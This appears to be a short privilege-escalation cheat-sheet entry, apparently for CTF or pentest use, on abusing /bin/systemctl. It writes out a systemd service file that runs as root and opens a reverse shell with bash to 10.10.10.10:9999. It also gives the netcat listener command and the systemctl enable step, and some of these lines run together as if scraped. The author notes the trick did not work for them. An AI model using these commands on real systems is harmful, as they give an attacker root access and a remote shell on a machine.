/bin/systemctl
Tried this one in practice but could not get a revshell
[Unit]
Description=roooooooooot
[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/9999 0>&1'
[Install]
WantedBy=multi-user.targetnc -nvlp 9999/bin/systemctl enable /tmp/root.serviceLast updated